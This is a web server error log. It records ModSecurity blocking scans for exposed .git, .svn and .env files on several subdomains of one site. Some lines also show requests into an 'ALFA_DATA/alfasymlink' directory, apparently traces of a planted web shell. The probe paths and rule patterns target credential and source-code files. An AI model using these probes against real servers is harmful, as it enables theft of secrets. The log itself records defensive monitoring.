[Tue Oct 27 03:49:10.339243 2026] [security2:error] [pid 3194351:tid 3194351] [client 80.94.92.126:50232] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases3.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXds-M-kXjH-VclWYJEAAAABg"]
[Tue Oct 27 03:49:10.339366 2026] [security2:error] [pid 3194351:tid 3194351] [client 80.94.92.126:50232] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases3.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXds-M-kXjH-VclWYJEAAAABg"]
[Tue Oct 27 03:49:10.339655 2026] [security2:error] [pid 3194351:tid 3194351] [client 80.94.92.126:50232] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases3.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXds-M-kXjH-VclWYJEAAAABg"]
[Tue Oct 27 03:49:10.357726 2026] [security2:error] [pid 3174426:tid 3174426] [client 80.94.92.126:50248] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .resources/ .resx/ .sql/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "452"] [id "920440"] [rev "2"] [msg "URL file extension is restricted by policy"] [data ".db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "9"] [accuracy "9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/POLICY/EXT_RESTRICTED"] [tag "WASCTC/WASC-15"] [tag "OWASP_TOP_10/A7"] [tag "PCI/6.5.10"] [hostname "bases4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdvBpQA4DT21g-rgS9wAAAAY"]
[Tue Oct 27 03:49:10.357881 2026] [security2:error] [pid 3174426:tid 3174426] [client 80.94.92.126:50248] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/wc.db"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "bases4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdvBpQA4DT21g-rgS9wAAAAY"]
[Tue Oct 27 03:49:10.358040 2026] [security2:error] [pid 3174426:tid 3174426] [client 80.94.92.126:50248] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "bases4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdvBpQA4DT21g-rgS9wAAAAY"]
[Tue Oct 27 03:49:10.358321 2026] [security2:error] [pid 3174426:tid 3174426] [client 80.94.92.126:50248] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "bases4.sherwinpinturas.com"] [uri "/.svn/wc.db"] [unique_id "auBXdvBpQA4DT21g-rgS9wAAAAY"]
[Tue Oct 27 03:49:14.250370 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 44.205.120.22:4079] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:49:26.162027 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 34.230.124.21:28977] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:49:42.192695 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 54.235.172.108:20151] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:49:46.142126 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 35.171.117.160:58222] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:49:58.156389 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 52.71.218.25:39588] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:50:05.238843 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.45.194.165:54640] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:50:06.185957 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 34.195.60.66:62408] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:50:18.168413 2026] [ssl:error] [pid 3184471:tid 3184471] (70014)End of file found: [client 23.23.99.55:51893] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:50:22.180721 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 23.21.250.48:54957] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:50:30.154299 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 52.205.113.104:52109] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:50:36.171310 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 216.244.66.250:53918] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/tmp/tmp.wJdSw77hWW
[Tue Oct 27 03:50:38.242818 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 34.196.6.199:28035] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:50:46.135213 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 52.54.157.23:27936] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:50:50.262281 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 23.21.119.232:8499] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:50:54.143150 2026] [ssl:error] [pid 3184472:tid 3184472] (70014)End of file found: [client 3.231.193.38:28615] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:50:58.155267 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 52.54.95.127:51281] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:51:02.811742 2026] [core:error] [pid 3174426:tid 3174426] (13)Permission denied: [client 185.191.171.16:50418] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-128/objs_per_slab
[Tue Oct 27 03:51:10.227210 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 34.236.41.241:61879] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:51:18.270845 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 100.28.57.133:54191] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:51:22.265847 2026] [ssl:error] [pid 3184575:tid 3184575] (70014)End of file found: [client 54.152.163.42:27124] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:51:26.354395 2026] [ssl:error] [pid 3194327:tid 3194327] (70014)End of file found: [client 34.202.88.37:47047] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:51:30.161234 2026] [ssl:error] [pid 3194351:tid 3194351] (70014)End of file found: [client 54.84.147.79:25809] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:51:38.218131 2026] [ssl:error] [pid 3174426:tid 3174426] (70014)End of file found: [client 52.200.251.20:47339] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:51:50.135531 2026] [ssl:error] [pid 3175284:tid 3175284] (70014)End of file found: [client 54.167.32.123:14694] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:51:54.137929 2026] [ssl:error] [pid 3194344:tid 3194344] (70014)End of file found: [client 18.208.11.93:56187] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:51:58.182079 2026] [ssl:error] [pid 3194328:tid 3194328] (70014)End of file found: [client 35.170.205.140:18239] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:52:02.140782 2026] [core:error] [pid 3194327:tid 3194327] (13)Permission denied: [client 50.16.248.61:45403] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/device:1a/subsystem/devices/device:00/physical_node/driver/module/sections/__param
[Tue Oct 27 03:52:06.144353 2026] [ssl:error] [pid 3194254:tid 3194254] (70014)End of file found: [client 18.214.186.220:53668] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 03:52:08.520217 2026] [authz_core:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 03:52:08.920020 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auBYKPBpQA4DT21g-rgTBAAAAAY"]
[Tue Oct 27 03:52:08.920286 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auBYKPBpQA4DT21g-rgTBAAAAAY"]
[Tue Oct 27 03:52:08.920649 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.git/config"] [unique_id "auBYKPBpQA4DT21g-rgTBAAAAAY"]
[Tue Oct 27 03:52:09.114369 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBYKfBpQA4DT21g-rgTBgAAAAY"]
[Tue Oct 27 03:52:09.114674 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBYKfBpQA4DT21g-rgTBgAAAAY"]
[Tue Oct 27 03:52:09.115143 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env"] [unique_id "auBYKfBpQA4DT21g-rgTBgAAAAY"]
[Tue Oct 27 03:52:09.203429 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.local"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auBYKfBpQA4DT21g-rgTBwAAAAY"]
[Tue Oct 27 03:52:09.203666 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auBYKfBpQA4DT21g-rgTBwAAAAY"]
[Tue Oct 27 03:52:09.203989 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.local"] [unique_id "auBYKfBpQA4DT21g-rgTBwAAAAY"]
[Tue Oct 27 03:52:09.319221 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBYKfBpQA4DT21g-rgTCAAAAAY"]
[Tue Oct 27 03:52:09.319477 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBYKfBpQA4DT21g-rgTCAAAAAY"]
[Tue Oct 27 03:52:09.319837 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.production"] [unique_id "auBYKfBpQA4DT21g-rgTCAAAAAY"]
[Tue Oct 27 03:52:09.426819 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.staging"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auBYKfBpQA4DT21g-rgTCQAAAAY"]
[Tue Oct 27 03:52:09.427097 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auBYKfBpQA4DT21g-rgTCQAAAAY"]
[Tue Oct 27 03:52:09.427513 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.staging"] [unique_id "auBYKfBpQA4DT21g-rgTCQAAAAY"]
[Tue Oct 27 03:52:09.530069 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.development"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auBYKfBpQA4DT21g-rgTCgAAAAY"]
[Tue Oct 27 03:52:09.530318 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auBYKfBpQA4DT21g-rgTCgAAAAY"]
[Tue Oct 27 03:52:09.530635 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.development"] [unique_id "auBYKfBpQA4DT21g-rgTCgAAAAY"]
[Tue Oct 27 03:52:09.622439 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.test"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auBYKfBpQA4DT21g-rgTCwAAAAY"]
[Tue Oct 27 03:52:09.622656 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auBYKfBpQA4DT21g-rgTCwAAAAY"]
[Tue Oct 27 03:52:09.623006 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.test"] [unique_id "auBYKfBpQA4DT21g-rgTCwAAAAY"]
[Tue Oct 27 03:52:09.713573 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.remote"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auBYKfBpQA4DT21g-rgTDAAAAAY"]
[Tue Oct 27 03:52:09.713831 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auBYKfBpQA4DT21g-rgTDAAAAAY"]
[Tue Oct 27 03:52:09.714220 2026] [security2:error] [pid 3174426:tid 3174426] [client 34.39.76.121:44308] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "miescurlax.sherwinpinturas.com"] [uri "/.env.remote"] [unique_id "auBYKfBpQA4DT21g-rgTDAAAAAY"]
